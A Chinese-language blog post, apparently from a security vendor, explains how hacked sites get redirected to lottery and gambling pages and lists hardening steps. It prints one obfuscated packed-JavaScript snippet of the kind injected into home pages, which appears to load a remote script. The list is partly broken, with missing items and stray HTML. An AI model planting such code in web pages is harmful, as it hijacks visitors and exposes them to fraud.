网站被跳转彩票网站问题分析

由于之前客户网站总是被跳转到彩票、赌博网站，客户只是懂一些简单的代码，只能通过篡改的首页代码里，找到恶意代码进行删除，但是治标不治本，没过几天网站又被跳转了，客户经常为这些问题烦恼，每天提心吊胆的。其实问题的根本原因在于网站存在漏洞，以及服务器安全没有做好。我们SINE处理了成千上百的网站，总结的经验来看，网站首页被篡改的几率最大，都是篡改首页的标题，描述，以及在首页顶部添加一些加密的字符，如下图所示：

type="text/java">eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){retun d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0\\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6\\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'),0,{}))

该站点可能受到黑客攻击，部分页面已被非法篡改！ 查看详情

该站点可能由于受到黑客攻击，部分页面已被非法篡改，可能会威胁到您的财产和信息安全，建议您谨慎访问。

被黑网址快照1：********com/011E...

被黑网址快照3：********com/004G...

防止网站被跳转的解决方法如下：

2.mysql数据库默认端口3306，改为61116，并加入到端口安全策略，不对外开放，外网IP无法连接数据库，只有本地127.0.0.1才能进行连接数据库，以防止攻击者恶意猜测。

4.对网站代码进行整体的安全检测，包括定期的升级网站程序源代码，修复补丁以及网站漏洞。

<p white-space:normal;background-color:#ffffff;"="" style="overflow-wrap: break-word; margin-top: 0.63em; margin-bottom: 1.8em; padding: 0px; font-family: 宋体, Arial; white-space: normal; background-color: rgb(255, 255, 255); border: 0px; counter-reset: list-1 0 list-2 0 list-3 0 list-4 0 list-5 0 list-6 0 list-7 0 list-8 0 list-9 0; color: rgb(25, 25, 25);">5.也可以通过安全公司来解决，国内也就Sinesafe和绿盟等安全公司。